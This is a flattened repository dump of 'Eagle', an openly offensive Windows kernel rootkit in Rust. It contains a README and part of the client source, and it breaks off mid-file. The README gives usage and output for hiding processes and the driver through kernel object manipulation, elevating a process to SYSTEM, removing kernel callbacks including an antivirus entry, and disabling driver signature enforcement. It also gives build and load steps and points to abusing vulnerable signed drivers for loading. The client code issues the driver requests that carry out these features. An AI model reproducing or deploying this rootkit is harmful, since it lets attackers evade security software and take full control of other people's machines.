├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md ├── client ├── Cargo.toml └── src │ ├── kernel_interface.rs │ └── main.rs ├── cmd_hide1.png ├── cmd_hide2.png ├── common ├── Cargo.toml └── src │ └── lib.rs ├── driver ├── .cargo │ └── config.toml ├── Cargo.toml ├── Makefile.toml ├── build.rs └── src │ ├── callbacks │ └── mod.rs │ ├── dse │ └── mod.rs │ ├── includes │ └── mod.rs │ ├── lib.rs │ ├── process │ ├── hide.rs │ ├── memory.rs │ └── mod.rs │ ├── string │ └── mod.rs │ └── token │ └── mod.rs ├── notepad_protect.png └── notepad_unprotect.png /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | Cargo.lock 3 | *.cer -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | 3 | members = [ 4 | "client", 5 | "driver", 6 | "common", 7 | ] 8 | 9 | [profile.release] 10 | opt-level = 3 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 memN0ps 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows Kernel Rookit in Rust (Codename: Eagle) 2 | 3 | Blog: https://memn0ps.github.io/rusty-windows-kernel-rootkit/ 4 | 5 | ## Features (Development in progress) 6 | 7 | * Protect / unprotect process (Done) 8 | * Elevate to NT AUTHORITY\\SYSTEM and Enable all token privileges (Done) 9 | * Hide process (Done) 10 | * Hide driver (Done) 11 | * Enumerate loaded kernel modules (Done) 12 | * Enumerate / remove kernel callbacks 13 | * PsSetCreateProcessNotifyRoutine (Done) 14 | * PsSetCreateThreadNotifyRoutine (Todo) 15 | * PsSetLoadImageNotifyRoutine (Todo) 16 | * CmRegisterCallbackEx (Todo) 17 | * ObRegisterCallbacks (Todo) 18 | * DSE enable/disable (Done) 19 | 20 | ## Usage 21 | 22 | ``` 23 | PS C:\Users\memn0ps\Desktop> .\client.exe -h 24 | client 0.1.0 25 | 26 | USAGE: 27 | client.exe 28 | 29 | OPTIONS: 30 | -h, --help Print help information 31 | -V, --version Print version information 32 | 33 | SUBCOMMANDS: 34 | callbacks 35 | driver 36 | dse 37 | help Print this message or the help of the given subcommand(s) 38 | process 39 | ``` 40 | 41 | ``` 42 | client.exe-process 43 | 44 | USAGE: 45 | client.exe process --name <--protect|--unprotect|--elevate|--hide> 46 | 47 | OPTIONS: 48 | -e, --elevate Elevate all token privileges 49 | -h, --help Print help information 50 | --hide Hide a process using Direct Kernel Object Manipulation (DKOM) 51 | -n, --name Target process name 52 | -p, --protect Protect a process 53 | -u, --unprotect Unprotect a process 54 | ``` 55 | 56 | ``` 57 | PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h 58 | client.exe-callbacks 59 | 60 | USAGE: 61 | client.exe callbacks <--enumerate|--patch > 62 | 63 | OPTIONS: 64 | -e, --enumerate Enumerate kernel callbacks 65 | -h, --help Print help information 66 | -p, --patch Patch kernel callbacks 0-63 67 | ``` 68 | 69 | ``` 70 | PS C:\Users\memn0ps\Desktop> .\client.exe dse -h 71 | client.exe-dse 72 | 73 | USAGE: 74 | client.exe dse <--enable|--disable> 75 | 76 | OPTIONS: 77 | -d, --disable Disable Driver Signature Enforcement (DSE) 78 | -e, --enable Enable Driver Signature Enforcement (DSE) 79 | -h, --help Print help information 80 | ``` 81 | 82 | ``` 83 | PS C:\Users\memn0ps\Desktop> .\client.exe driver -h 84 | client.exe-driver 85 | 86 | USAGE: 87 | client.exe driver <--hide|--enumerate> 88 | 89 | OPTIONS: 90 | -e, --enumerate Enumerate loaded kernel modules 91 | -h, --help Print help information 92 | --hide Hide a driver using Direct Kernel Object Manipulation (DKOM) 93 | ``` 94 | 95 | ## Enumerate and Patch Kernel Callbacks 96 | 97 | ``` 98 | PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate 99 | Total Kernel Callbacks: 11 100 | [0] 0xffffbd8d3d2502df ("ntoskrnl.exe") 101 | [1] 0xffffbd8d3d2fe81f ("cng.sys") 102 | [2] 0xffffbd8d3db2bc8f ("WdFilter.sys") 103 | [3] 0xffffbd8d3db2bf8f ("ksecdd.sys") 104 | [4] 0xffffbd8d3db2c0df ("tcpip.sys") 105 | [5] 0xffffbd8d3f10705f ("iorate.sys") 106 | [6] 0xffffbd8d3f10765f ("CI.dll") 107 | [7] 0xffffbd8d3f10789f ("dxgkrnl.sys") 108 | [8] 0xffffbd8d3fa37cff ("vm3dmp.sys") 109 | [9] 0xffffbd8d3f97104f ("peauth.sys") 110 | [10] 0xffffbd8d43afb63f ("Eagle.sys") 111 | ``` 112 | 113 | ``` 114 | PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10 115 | [+] Callback patched successfully at index 10 116 | ``` 117 | 118 | ``` 119 | PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate 120 | Total Kernel Callbacks: 10 121 | [0] 0xffffbd8d3d2502df ("ntoskrnl.exe") 122 | [1] 0xffffbd8d3d2fe81f ("cng.sys") 123 | [2] 0xffffbd8d3db2bc8f ("WdFilter.sys") 124 | [3] 0xffffbd8d3db2bf8f ("ksecdd.sys") 125 | [4] 0xffffbd8d3db2c0df ("tcpip.sys") 126 | [5] 0xffffbd8d3f10705f ("iorate.sys") 127 | [6] 0xffffbd8d3f10765f ("CI.dll") 128 | [7] 0xffffbd8d3f10789f ("dxgkrnl.sys") 129 | [8] 0xffffbd8d3fa37cff ("vm3dmp.sys") 130 | [9] 0xffffbd8d3f97104f ("peauth.sys") 131 | ``` 132 | 133 | ## Protect / Unprotect Process 134 | 135 | ``` 136 | PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect 137 | [+] Process protected successfully 2104 138 | ``` 139 | 140 | ![Protect](./notepad_protect.png) 141 | 142 | ``` 143 | PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect 144 | [+] Process unprotected successfully 2104 145 | ``` 146 | 147 | ![Protect](./notepad_unprotect.png) 148 | 149 | ## Elevate to NT AUTHORITY\\System and Enable All Token Privileges 150 | 151 | ``` 152 | PS C:\Users\memn0ps\Desktop> whoami /all 153 | 154 | USER INFORMATION 155 | 156 | ================== ============================================== 157 | windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001 158 | 159 | 160 | GROUP INFORMATION 161 | ----------------- 162 | 163 | Group Name Type SID Attributes 164 | ============================================================= ================ ============ ================================================== 165 | Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group 166 | NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only 167 | BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only 168 | BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group 169 | BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group 170 | NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group 171 | CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group 172 | NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group 173 | NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group 174 | NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group 175 | LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group 176 | NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group 177 | Mandatory Label\Medium Mandatory Level Label S-1-16-8192 178 | 179 | 180 | PRIVILEGES INFORMATION 181 | ---------------------- 182 | 183 | Privilege Name Description State 184 | ============================= ==================================== ======== 185 | SeShutdownPrivilege Shut down the system Disabled 186 | SeChangeNotifyPrivilege Bypass traverse checking Enabled 187 | SeUndockPrivilege Remove computer from docking station Disabled 188 | SeIncreaseWorkingSetPrivilege Increase a process working set Disabled 189 | SeTimeZonePrivilege Change the time zone Disabled 190 | ``` 191 | 192 | ``` 193 | PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate 194 | [+] Tokens privileges elevated successfully 6376 195 | ``` 196 | 197 | ``` 198 | PS C:\Users\memn0ps\Desktop> whoami /all 199 | 200 | USER INFORMATION 201 | ---------------- 202 | 203 | User Name SID 204 | =================== ======== 205 | nt authority\system S-1-5-18 206 | 207 | 208 | GROUP INFORMATION 209 | ----------------- 210 | 211 | Group Name Type SID Attributes 212 | ====================================== ================ ============ ================================================== 213 | BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner 214 | Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group 215 | NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group 216 | Mandatory Label\System Mandatory Level Label S-1-16-16384 217 | 218 | 219 | PRIVILEGES INFORMATION 220 | ---------------------- 221 | 222 | Privilege Name Description State 223 | ========================================= ================================================================== ======= 224 | SeCreateTokenPrivilege Create a token object Enabled 225 | SeAssignPrimaryTokenPrivilege Replace a process level token Enabled 226 | SeLockMemoryPrivilege Lock pages in memory Enabled 227 | SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled 228 | SeTcbPrivilege Act as part of the operating system Enabled 229 | SeSecurityPrivilege Manage auditing and security log Enabled 230 | SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled 231 | SeLoadDriverPrivilege Load and unload device drivers Enabled 232 | SeSystemProfilePrivilege Profile system performance Enabled 233 | SeSystemtimePrivilege Change the system time Enabled 234 | SeProfileSingleProcessPrivilege Profile single process Enabled 235 | SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled 236 | SeCreatePagefilePrivilege Create a pagefile Enabled 237 | SeCreatePermanentPrivilege Create permanent shared objects Enabled 238 | SeBackupPrivilege Back up files and directories Enabled 239 | SeRestorePrivilege Restore files and directories Enabled 240 | SeShutdownPrivilege Shut down the system Enabled 241 | SeDebugPrivilege Debug programs Enabled 242 | SeAuditPrivilege Generate security audits Enabled 243 | SeSystemEnvironmentPrivilege Modify firmware environment values Enabled 244 | SeChangeNotifyPrivilege Bypass traverse checking Enabled 245 | SeUndockPrivilege Remove computer from docking station Enabled 246 | SeManageVolumePrivilege Perform volume maintenance tasks Enabled 247 | SeImpersonatePrivilege Impersonate a client after authentication Enabled 248 | SeCreateGlobalPrivilege Create global objects Enabled 249 | SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled 250 | SeRelabelPrivilege Modify an object label Enabled 251 | SeIncreaseWorkingSetPrivilege Increase a process working set Enabled 252 | SeTimeZonePrivilege Change the time zone Enabled 253 | SeCreateSymbolicLinkPrivilege Create symbolic links Enabled 254 | SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled 255 | 256 | PS C:\Users\memn0ps\Desktop> 257 | ``` 258 | 259 | 260 | 261 | ## Enable / Disable Driver Signature Enforcement (DSE) 262 | 263 | ``` 264 | PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable 265 | Bytes returned: 16 266 | [+] Driver Signature Enforcement (DSE) enabled: 0x6 267 | ``` 268 | ``` 269 | 0: kd> db 0xfffff8005a6683b8 L1 270 | fffff800`5a6683b8 06 271 | ``` 272 | 273 | ``` 274 | PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable 275 | Bytes returned: 16 276 | [+] Driver Signature Enforcement (DSE) disabled: 0xe 277 | ``` 278 | 279 | ``` 280 | 0: kd> db 0xfffff8005a6683b8 L1 281 | fffff800`5a6683b8 0e 282 | ``` 283 | 284 | ## Hide Process 285 | 286 | ![CMD](./cmd_hide1.png) 287 | 288 | 289 | ``` 290 | PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide 291 | [+] Process is hidden successfully: 6376 292 | ``` 293 | 294 | ![CMD](./cmd_hide2.png) 295 | 296 | 297 | ## Hide Driver 298 | 299 | Hidden from ZwQuerySystemInformation and PsLoadedModuleList 300 | 301 | ``` 302 | PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate 303 | Total Number of Modules: 185 304 | [0] 0xfffff80058c00000 "ntoskrnl.exe" 305 | [1] 0xfffff80054d20000 "hal.dll" 306 | <..OMITTED..> 307 | [180] 0xfffff80054600000 "KERNEL32.dll" 308 | [181] 0xfffff80054200000 "ntdll.dll" 309 | [182] 0xfffff800553f0000 "KERNELBASE.dll" 310 | [183] 0xfffff800556f0000 "MpKslDrv.sys" 311 | [184] 0xfffff80055720000 "Eagle.sys" 312 | [+] Loaded modules enumerated successfully 313 | ``` 314 | 315 | ``` 316 | PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide 317 | [+] Driver hidden successfully 318 | ``` 319 | 320 | ``` 321 | PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate 322 | Total Number of Modules: 184 323 | [0] 0xfffff80058c00000 "ntoskrnl.exe" 324 | [1] 0xfffff80054d20000 "hal.dll" 325 | <..OMITTED..> 326 | [180] 0xfffff80054600000 "KERNEL32.dll" 327 | [181] 0xfffff80054200000 "ntdll.dll" 328 | [182] 0xfffff800553f0000 "KERNELBASE.dll" 329 | [183] 0xfffff800556f0000 "MpKslDrv.sys" 330 | [+] Loaded modules enumerated successfully 331 | ``` 332 | 333 | 334 | ## [Install Rust](https://www.rust-lang.org/tools/install) 335 | 336 | To start using Rust, [download the installer](https://www.rust-lang.org/tools/install), then run the program and follow the onscreen instructions. You may need to install the [Visual Studio C++ Build tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/) when prompted to do so. 337 | 338 | 339 | ## [Install](https://rust-lang.github.io/rustup/concepts/channels.html) 340 | 341 | Install and change to Rust nightly 342 | 343 | ``` 344 | rustup toolchain install nightly 345 | rustup default nightly 346 | ``` 347 | 348 | ## [Install cargo-make](https://github.com/sagiegurari/cargo-make) 349 | 350 | Install cargo-make 351 | 352 | ``` 353 | cargo install cargo-make 354 | ``` 355 | 356 | ## [Install WDK/SDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk) 357 | 358 | * Step 1: Install Visual Studio 2019 359 | * Step 2: Install Windows 11 SDK (22000.1) 360 | * Step 3: Install Windows 11 WDK 361 | 362 | ## Build Driver 363 | 364 | Change directory to `.\driver\` and build driver 365 | 366 | ``` 367 | cargo make sign 368 | ``` 369 | 370 | ## Build Client 371 | 372 | Change directory to `.\client\` and build client 373 | 374 | ``` 375 | cargo build 376 | ``` 377 | 378 | ## Enable `Test Mode` or `Test Signing` Mode 379 | 380 | ``` 381 | bcdedit /set testsigning on 382 | ``` 383 | 384 | ### [Optional] Debug via Windbg 385 | 386 | ``` 387 | bcdedit /debug on 388 | bcdedit /dbgsettings net hostip: port: 389 | ``` 390 | 391 | ## Create / Start Service 392 | 393 | You can use [Service Control Manager](https://docs.microsoft.com/en-us/windows/win32/services/service-control-manager) or [OSR Driver Loader](https://www.osronline.com/article.cfm%5Earticle=157.htm) to load your driver. 394 | 395 | ``` 396 | PS C:\Users\memn0ps> sc.exe create Eagle type= kernel binPath= C:\Windows\System32\Eagle.sys 397 | [SC] CreateService SUCCESS 398 | PS C:\Users\memn0ps> sc.exe query Eagle 399 | 400 | SERVICE_NAME: Eagle 401 | TYPE : 1 KERNEL_DRIVER 402 | STATE : 1 STOPPED 403 | WIN32_EXIT_CODE : 1077 (0x435) 404 | SERVICE_EXIT_CODE : 0 (0x0) 405 | CHECKPOINT : 0x0 406 | WAIT_HINT : 0x0 407 | PS C:\Users\memn0ps> sc.exe start Eagle 408 | 409 | SERVICE_NAME: Eagle 410 | TYPE : 1 KERNEL_DRIVER 411 | STATE : 4 RUNNING 412 | (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) 413 | WIN32_EXIT_CODE : 0 (0x0) 414 | SERVICE_EXIT_CODE : 0 (0x0) 415 | CHECKPOINT : 0x0 416 | WAIT_HINT : 0x0 417 | PID : 0 418 | FLAGS : 419 | PS C:\Users\memn0ps> sc.exe stop Eagle 420 | 421 | SERVICE_NAME: Eagle 422 | TYPE : 1 KERNEL_DRIVER 423 | STATE : 1 STOPPED 424 | WIN32_EXIT_CODE : 0 (0x0) 425 | SERVICE_EXIT_CODE : 0 (0x0) 426 | CHECKPOINT : 0x0 427 | WAIT_HINT : 0x0 428 | ``` 429 | 430 | Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver that is already loaded such as Intel or Capcom, although vulnerable drivers can be flagged easily by EDRs or ACs. 431 | 432 | * https://github.com/TheCruZ/kdmapper (`iqvw64e.sys` Intel driver) 433 | * https://github.com/not-wlan/drvmap (`capcom.sys` Capcom driver) 434 | * https://github.com/zorftw/kdmapper-rs 435 | 436 | Otherwise you can always get an [extended validation (EV) code signing certificate](https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate) by Microsoft which goes through a "vetting" process or use a 0-day which is really up to you lol. 437 | 438 | ## Note 439 | 440 | A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else's bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete. 441 | 442 | I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The prefered safe and robust way of coding Windows Kernel Drivers in Rust is shown here: 443 | 444 | * https://codentium.com/guides/windows-dev/ 445 | * https://github.com/StephanvanSchaik/windows-kernel-rs/ 446 | 447 | ## References and Credits 448 | 449 | * https://not-matthias.github.io/kernel-driver-with-rust/ (Big thanks to @not_matthias) 450 | * https://github.com/not-matthias/kernel-driver-with-rust/ 451 | * https://courses.zeropointsecurity.co.uk/courses/offensive-driver-development (Big thanks to @_RastaMouse) 452 | * https://leanpub.com/windowskernelprogramming Windows Kernel Programming Book (Big thanks to Pavel Yosifovich @zodiacon) 453 | * https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 (Big thanks to Greg Hoglund and James Butler for Rootkits: Subverting the Windows Kernel Book) 454 | * https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/ (Big thanks to HackSysTeam) 455 | * https://codentium.com/guides/windows-dev/ 456 | * https://github.com/StephanvanSchaik/windows-kernel-rs/ 457 | * https://github.com/rmccrystal/kernel-rs 458 | * https://github.com/pravic/winapi-kmd-rs 459 | * https://guidedhacking.com/ 460 | * https://www.unknowncheats.me/ 461 | * https://gamehacking.academy/ 462 | * https://secret.club/ 463 | * https://back.engineering/ 464 | * https://www.vergiliusproject.com/kernels/x64 465 | * https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/ 466 | * https://discord.com/invite/rust-lang-community (Big thanks to: WithinRafael, Nick12, Zuix, DuckThatSits, matt1992, kpreid, Bruh and many others) 467 | * https://twitter.com/the_secret_club/status/1386215138148196353 Discord (hugsy, themagicalgamer) 468 | * https://www.rust-lang.org/ 469 | * https://doc.rust-lang.org/book/ 470 | * https://posts.specterops.io/mimidrv-in-depth-4d273d19e148 471 | * https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/ 472 | * https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/ 473 | * https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo 474 | * https://github.com/XaFF-XaFF/Cronos-Rootkit/ 475 | * https://github.com/JKornev/hidden 476 | * https://github.com/landhb/HideProcess 477 | * https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland 478 | * https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation 479 | -------------------------------------------------------------------------------- /client/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "client" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = { version = "0.3.7", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "fileapi", "winioctl"] } 10 | sysinfo = "0.20.4" 11 | clap = { version = "3.1.6", features = ["derive"] } 12 | common = { path = "../common" } -------------------------------------------------------------------------------- /client/src/kernel_interface.rs: -------------------------------------------------------------------------------- 1 | use std::{mem::size_of, ptr::null_mut}; 2 | use winapi::{um::{ioapiset::DeviceIoControl}, ctypes::c_void}; 3 | use common::{TargetProcess, IOCTL_PROCESS_PROTECT_REQUEST, IOCTL_PROCESS_UNPROTECT_REQUEST, IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, IOCTL_CALLBACKS_ENUM_REQUEST, CallBackInformation, TargetCallback, IOCTL_CALLBACKS_ZERO_REQUEST, IOCTL_DSE_ENABLE_DISABLE_REQUEST, DriverSignatureEnforcement, IOCTL_PROCESS_HIDE_REQUEST, IOCTL_DRIVER_HIDE_REQUEST, IOCTL_DRIVER_ENUM_REQUEST, ModuleInformation}; 4 | 5 | /// Protect a process as PsProtectedSignerWinTcb 6 | pub fn protect_process(process_id: u32, driver_handle: *mut c_void) { 7 | let mut bytes: u32 = 0; 8 | 9 | let mut target_process = TargetProcess { 10 | process_id: process_id, 11 | }; 12 | 13 | let device_io_control_result = unsafe { 14 | DeviceIoControl(driver_handle, 15 | IOCTL_PROCESS_PROTECT_REQUEST, 16 | &mut target_process as *mut _ as *mut c_void, 17 | size_of:: as u32, 18 | null_mut(), 19 | 0, 20 | &mut bytes, 21 | null_mut()) 22 | }; 23 | 24 | if device_io_control_result == 0 { 25 | panic!("[-] Failed to call DeviceIoControl"); 26 | } 27 | 28 | println!("[+] Process protected successfully {:?}", target_process.process_id); 29 | } 30 | 31 | /// Remove process protection 32 | pub fn unprotect_process(process_id: u32, driver_handle: *mut c_void) { 33 | let mut bytes: u32 = 0; 34 | 35 | let mut target_process = TargetProcess { 36 | process_id: process_id, 37 | }; 38 | 39 | let device_io_control_result = unsafe { 40 | DeviceIoControl(driver_handle, 41 | IOCTL_PROCESS_UNPROTECT_REQUEST, 42 | &mut target_process as *mut _ as *mut c_void, 43 | size_of:: as u32, 44 | null_mut(), 45 | 0, 46 | &mut bytes, 47 | null_mut()) 48 | }; 49 | 50 | if device_io_control_result == 0 { 51 | panic!("[-] Failed to call DeviceIoControl"); 52 | } 53 | 54 | println!("[+] Process unprotected successfully {:?}", target_process.process_id); 55 | } 56 | 57 | /// Enable / elevate all token privileges of a process 58 | pub fn enable_tokens(process_id: u32, driver_handle: *mut c_void) { 59 | let mut bytes: u32 = 0; 60 | 61 | let mut target_process = TargetProcess { 62 | process_id: process_id, 63 | }; 64 | 65 | let device_io_control_result = unsafe { 66 | DeviceIoControl(driver_handle, 67 | IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST, 68 | &mut target_process as *mut _ as *mut c_void, 69 | size_of:: as u32, 70 | null_mut(), 71 | 0, 72 | &mut bytes, 73 | null_mut()) 74 | }; 75 | 76 | if device_io_control_result == 0 { 77 | panic!("[-] Failed to call DeviceIoControl"); 78 | } 79 | 80 | println!("[+] Tokens privileges elevated successfully {:?}", target_process.process_id); 81 | } 82 | 83 | /// Enumerate Kernel Callbacks 84 | pub fn enumerate_callbacks(driver_handle: *mut c_void) { 85 | 86 | let mut bytes: u32 = 0; 87 | let mut callbacks: [CallBackInformation; 64] = unsafe{ std::mem::zeroed() }; 88 | 89 | let device_io_control_result = unsafe { 90 | DeviceIoControl(driver_handle, 91 | IOCTL_CALLBACKS_ENUM_REQUEST, 92 | null_mut(), 93 | 0, 94 | callbacks.as_mut_ptr() as *mut _, 95 | (callbacks.len() * size_of::()) as u32, 96 | &mut bytes, 97 | null_mut()) 98 | }; 99 | 100 | if device_io_control_result == 0 { 101 | panic!("[-] Failed to call DeviceIoControl"); 102 | } 103 | 104 | let number_of_callbacks = (bytes / size_of::() as u32) as usize; 105 | println!("Total Kernel Callbacks: {:?}", number_of_callbacks); 106 | 107 | for i in 0..number_of_callbacks { 108 | if callbacks[i].pointer > 0 { 109 | let name = std::str::from_utf8(&callbacks[i].module_name).unwrap().trim_end_matches('\0'); 110 | println!("[{:?}] {:#x} ({:?})", i, callbacks[i].pointer, name); 111 | } 112 | } 113 | } 114 | 115 | /// Patch kernel callbacks 116 | pub fn patch_callback(index: u32, driver_handle: *mut c_void) { 117 | let mut bytes: u32 = 0; 118 | 119 | let mut target = TargetCallback { 120 | index: index, 121 | }; 122 | 123 | let device_io_control_result = unsafe { 124 | DeviceIoControl(driver_handle, 125 | IOCTL_CALLBACKS_ZERO_REQUEST, 126 | &mut target as *mut _ as *mut c_void, 127 | size_of:: as u32, 128 | null_mut(), 129 | 0, 130 | &mut bytes, 131 | null_mut()) 132 | }; 133 | 134 | if device_io_control_result == 0 { 135 | panic!("[-] Failed to call DeviceIoControl"); 136 | } 137 | 138 | println!("[+] Callback patched successfully at index {:?}", target.index); 139 | } 140 | 141 | /// Enable Driver Signature Enforcement (DSE) 142 | pub fn enable_or_disable_dse(driver_handle: *mut c_void, dse_state: bool) { 143 | let mut bytes: u32 = 0; 144 | 145 | let mut dse = DriverSignatureEnforcement { 146 | address: 0, 147 | is_enabled: true, 148 | }; 149 | 150 | if dse_state { 151 | dse.is_enabled = true; 152 | } else { 153 | dse.is_enabled = false; 154 | } 155 | 156 | let device_io_control_result = unsafe { 157 | DeviceIoControl(driver_handle, 158 | IOCTL_DSE_ENABLE_DISABLE_REQUEST, 159 | &mut dse as *mut _ as *mut c_void, 160 | size_of:: as u32, 161 | &mut dse as *mut _ as *mut c_void, 162 | size_of::() as u32, 163 | &mut bytes, 164 | null_mut()) 165 | }; 166 | 167 | if device_io_control_result == 0 { 168 | panic!("[-] Failed to call DeviceIoControl"); 169 | } 170 | 171 | println!("Bytes returned: {:?}", bytes); 172 | 173 | if dse.is_enabled { 174 | println!("[+] Driver Signature Enforcement (DSE) enabled: {:#x}", dse.address); 175 | } else { 176 | println!("[+] Driver Signature Enforcement (DSE) disabled: {:#x}", dse.address); 177 | } 178 | } 179 | 180 | 181 | /// Hide a process using Direct Kernel Object Manipulation (DKOM) 182 | pub fn hide_process(process_id: u32, driver_handle: *mut c_void) { 183 | let mut bytes: u32 = 0; 184 | 185 | let mut target_process = TargetProcess { 186 | process_id: process_id, 187 | }; 188 | 189 | let device_io_control_result = unsafe { 190 | DeviceIoControl(driver_handle, 191 | IOCTL_PROCESS_HIDE_REQUEST, 192 | &mut target_process as *mut _ as *mut c_void, 193 | size_of:: as u32, 194 | null_mut(), 195 | 0, 196 | &mut bytes, 197 | null_mut()) 198 | }; 199 | 200 | if device_io_control_result == 0 { 201 | panic!("[-] Failed to call DeviceIoControl"); 202 | } 203 | 204 | println!("[+] Process is hidden successfully: {:?}", target_process.process_id); 205 | } 206 | 207 | /// Hide a driver using Direct Kernel Object Manipulation (DKOM) 208 | pub fn hide_driver(driver_handle: *mut c_void) { 209 | let mut bytes: u32 = 0; 210 | 211 | let device_io_control_result = unsafe { 212 | DeviceIoControl(driver_handle, 213 | IOCTL_DRIVER_HIDE_REQUEST, 214 | null_mut(), 215 | 0, 216 | null_mut(), 217 | 0, 218 | &mut bytes, 219 | null_mut()) 220 | }; 221 | 222 | if device_io_control_result == 0 { 223 | panic!("[-] Failed to call DeviceIoControl"); 224 | } 225 | 226 | println!("[+] Driver hidden successfully"); 227 | } 228 | 229 | /// Get a list of all loaded modules using PsLoadedModuleList 230 | pub fn get_loaded_modules_list(driver_handle: *mut c_void) { 231 | let mut bytes: u32 = 0; 232 | //let mut module_information = [(); 256].map(|_| ModuleInformation::default()); 233 | let mut module_information: [ModuleInformation; 256] = unsafe { std::mem::zeroed() }; 234 | 235 | 236 | let device_io_control_result = unsafe { 237 | DeviceIoControl(driver_handle, 238 | IOCTL_DRIVER_ENUM_REQUEST, 239 | null_mut(), 240 | 0, 241 | module_information.as_mut_ptr() as *mut _, 242 | (module_information.len() * size_of::()) as u32, 243 | &mut bytes, 244 | null_mut()) 245 | }; 246 | 247 | if device_io_control_result == 0 { 248 | panic!("[-] Failed to call DeviceIoControl"); 249 | } 250 | 251 | let numer_of_modules = (bytes / size_of::() as u32) as usize; 252 | println!("Total Number of Modules: {:?}", numer_of_modules); 253 | 254 | for i in 0..numer_of_modules { 255 | if module_information[i].module_base > 0 { 256 | let name = String::from_utf16_lossy(&module_information[i].module_name).trim_end_matches('\0').to_owned(); 257 | println!("[{:?}] {:#x} {:?}", i, 